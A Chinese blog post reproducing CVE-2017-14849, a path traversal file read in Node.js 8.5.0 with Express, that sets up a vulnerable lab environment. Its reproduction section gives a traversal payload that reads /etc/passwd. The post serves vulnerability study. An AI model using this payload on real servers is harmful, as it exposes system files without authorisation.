漏洞复现----10、Node.js CVE-2017-14849 任意文件读取



一、Node.js与Express

1、Node.js

node.js是一个基于V8引擎的Javascript运行环境,它使得 Javascript 可以运行在服务端,直接与操作系统进行交互,与文件控制、网络交互、进程控制等。可以简单的理解为:node.js就是运行在服务端的Javascript。

2、Express

Express是一个简洁而灵活的node.js Web应用框架,提供一系列强大特性帮助创建各种Web和移动设备应用。Express不对node.js已有的特性进行二次抽象,我们只是在它之上扩展了Web应用所需的功能。

3、影响版本

Node.js 8.5.0 + Express 3.19.0-3.21.2
Node.js 8.5.0 + Express 4.11.0-4.15.5

4、环境安装

4.1、Node.js 8.5.0安装

1、下载Node.js 8.5.0安装包
wget https://nodejs.org/download/release/v8.5.0/node-v8.5.0-linux-x64.tar.gz
2、解压
tar -zxvf node-v8.5.0-linux-x64.tar.gz
3、安装
sudo mv node-v8.5.0-linux-x64 /opt/
sudo ln -s  ./bin/npm /usr/bin/npm
sudo ln -s  ./bin/node /usr/bin/node

4.2、Express 4.15.5安装

1、下载express-4.15.5
wget https://github.com/expressjs/express/archive/4.15.5.tar.gz
2、解压
tar -zxvf  4.15.5.tar.gz
3、安装express
cd express-4.15.5 && npm install
4、开启express
cd examples
cd static-files
node index.js

二、漏洞原理

原理没太看明白,有兴趣的可以去看看腾讯应急响应中心的关于此漏洞复现的文章。


三、漏洞复现

1、访问web页面,开发者模式下可以看到引用了/static/main.js文件,说明其存在静态文件服务器。
在这里插入图片描述
2、构建Payload:/static/../../../foo/../../../../etc/passwd
在这里插入图片描述
参考链接:https://security.tencent.com/index.php/blog/msg/121

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

七天啊

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值